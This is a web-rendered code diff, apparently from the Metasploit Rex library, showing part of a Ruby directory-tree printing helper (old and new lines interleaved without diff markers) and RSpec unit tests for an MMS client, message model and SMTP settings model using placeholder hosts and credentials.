print (is_last ? '└' : '├') + ('─' * 2) + ' '
|
||||
else
|
||||
print (is_last ? '`' : '|') + ('-' * 2) + ' '
|
||||
end
|
||||
|
||||
tree.children.each_pair do |name,child|
|
||||
print_tree(child,ip,maxlevel,limitlevel)
|
||||
c = tree.children.count
|
||||
|
||||
if c > 0
|
||||
print_line "%bld%blu#{ tree.name }%clr (#{ c.to_s })"
|
||||
else
|
||||
print_file tree.name
|
||||
end
|
||||
|
||||
i = 1
|
||||
new_prefix = prefix + [is_last]
|
||||
tree.children.each_pair { |_,child|
|
||||
is_last = !(i < c)
|
||||
print_tree_recursive(child, max_level, indent, new_prefix, is_last, unicode)
|
||||
i += 1
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Print Tree structure. Less ugly
|
||||
# Modified by Jon P.
|
||||
#
|
||||
def print_tree(tree, ip, max_level, unicode)
|
||||
indent = 4
|
||||
if tree != nil and tree.depth <= max_level
|
||||
if tree.depth == 0
|
||||
print_line "\n" + (' ' * indent) + "%cya[#{tree.name}] (#{ip})%clr"
|
||||
end
|
||||
|
||||
i = 1
|
||||
c = tree.children.count
|
||||
tree.children.each_pair do |_,child|
|
||||
print_tree_recursive(child, max_level, indent, [], !(i < c), unicode)
|
||||
i += 1
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,62 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'spec_helper'
|
||||
require 'rex/proto/mms/model'
|
||||
|
||||
RSpec.describe Rex::Proto::Mms::Client do
|
||||
|
||||
let(:phone_numbers) { ['1112223333'] }
|
||||
|
||||
let(:message) { 'message' }
|
||||
|
||||
let(:attachment) { 'file.jpg' }
|
||||
|
||||
let(:file_content) { 'content' }
|
||||
|
||||
let(:subject) { 'subject' }
|
||||
|
||||
let(:ctype) { 'ctype' }
|
||||
|
||||
let(:carrier) { :verizon }
|
||||
|
||||
let(:smtp_server) {
|
||||
Rex::Proto::Mms::Model::Smtp.new(
|
||||
address: 'example.com',
|
||||
port: 25,
|
||||
username: 'username',
|
||||
password: 'password'
|
||||
)
|
||||
}
|
||||
|
||||
subject do
|
||||
Rex::Proto::Mms::Client.new(
|
||||
carrier: carrier,
|
||||
smtp_server: smtp_server
|
||||
)
|
||||
end
|
||||
|
||||
describe '#initialize' do
|
||||
it 'sets carrier' do
|
||||
expect(subject.carrier).to eq(carrier)
|
||||
end
|
||||
|
||||
it 'sets smtp server' do
|
||||
expect(subject.smtp_server).to eq(smtp_server)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#send_mms_to_phones' do
|
||||
before(:each) do
|
||||
smtp = Net::SMTP.new(smtp_server.address, smtp_server.port)
|
||||
allow(smtp).to receive(:start).and_yield
|
||||
allow(smtp).to receive(:send_message) { |args| @sent_message = args }
|
||||
allow(Net::SMTP).to receive(:new).and_return(smtp)
|
||||
allow(File).to receive(:read).and_return(file_content)
|
||||
end
|
||||
|
||||
it 'sends an mms message' do
|
||||
subject.send_mms_to_phones(phone_numbers, subject, message, attachment, ctype)
|
||||
expect(@sent_message).to include('MIME-Version: 1.0')
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,62 @@
|
|||
require 'spec_helper'
|
||||
require 'rex/proto/mms/model'
|
||||
|
||||
RSpec.describe Rex::Proto::Mms::Model::Message do
|
||||
|
||||
let(:message) { 'message' }
|
||||
let(:content_type) { 'ctype' }
|
||||
let(:attachment) { 'filepath.jpg' }
|
||||
let(:filecontent) { 'file content' }
|
||||
let(:from) { 'sender@example.com' }
|
||||
let(:to) { 'receiver@example.com' }
|
||||
let(:mms_subject) { 'subject' }
|
||||
|
||||
before(:each) do
|
||||
allow(File).to receive(:read).and_return(filecontent)
|
||||
end
|
||||
|
||||
subject do
|
||||
described_class.new(
|
||||
from: from,
|
||||
to: to,
|
||||
subject: mms_subject,
|
||||
message: message,
|
||||
content_type: content_type,
|
||||
attachment_path: attachment
|
||||
)
|
||||
end
|
||||
|
||||
describe '#initialize' do
|
||||
it 'sets message' do
|
||||
expect(subject.message).to eq(message)
|
||||
end
|
||||
|
||||
it 'sets content type' do
|
||||
expect(subject.content_type).to eq(content_type)
|
||||
end
|
||||
|
||||
it 'sets attachment path' do
|
||||
expect(subject.attachment).to eq('ZmlsZSBjb250ZW50')
|
||||
end
|
||||
|
||||
it 'sets from' do
|
||||
expect(subject.from).to eq(from)
|
||||
end
|
||||
|
||||
it 'sets to' do
|
||||
expect(subject.to).to eq(to)
|
||||
end
|
||||
|
||||
it 'sets subject' do
|
||||
expect(subject.subject).to eq(mms_subject)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#to_s' do
|
||||
it 'returns the mms message' do
|
||||
expect(subject.to_s).to include('MIME-Version: 1.0')
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,57 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'spec_helper'
|
||||
require 'rex/proto/mms/model'
|
||||
|
||||
RSpec.describe Rex::Proto::Mms::Model::Smtp do
|
||||
|
||||
let(:address) { 'example.com' }
|
||||
let(:port) { 25 }
|
||||
let(:username) { 'username' }
|
||||
let(:password) { 'password' }
|
||||
let(:login_type) { :login }
|
||||
let(:from) { 'from' }
|
||||
let(:helo_domain) { 'example.com'}
|
||||
|
||||
subject do
|
||||
Rex::Proto::Mms::Model::Smtp.new(
|
||||
address: address,
|
||||
port: port,
|
||||
username: username,
|
||||
password: password,
|
||||
login_type: login_type,
|
||||
from: from,
|
||||
helo_domain: helo_domain
|
||||
)
|
||||
end
|
||||
|
||||
describe '#initialize' do
|
||||
it 'sets address' do
|
||||
expect(subject.address).to eq(address)
|
||||
end
|
||||
|
||||
it 'sets port' do
|
||||
expect(subject.port).to eq(port)
|
||||
end
|
||||
|
||||
it 'sets username' do
|
||||
expect(subject.username).to eq(username)
|
||||
end
|
||||
|
||||
it 'sets password' do
|
||||
expect(subject.password).to eq(password)
|
||||
end
|
||||
|
||||
it 'sets login_type' do
|
||||
expect(subject.login_type).to eq(login_type)
|
||||
end
|
||||
|
||||
it 'sets from' do
|
||||
expect(subject.from).to eq(from)
|
||||
end
|
||||
|
||||
it 'sets helo domain' do
|
||||
expect(subject.helo_domain).to eq(helo_domain)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue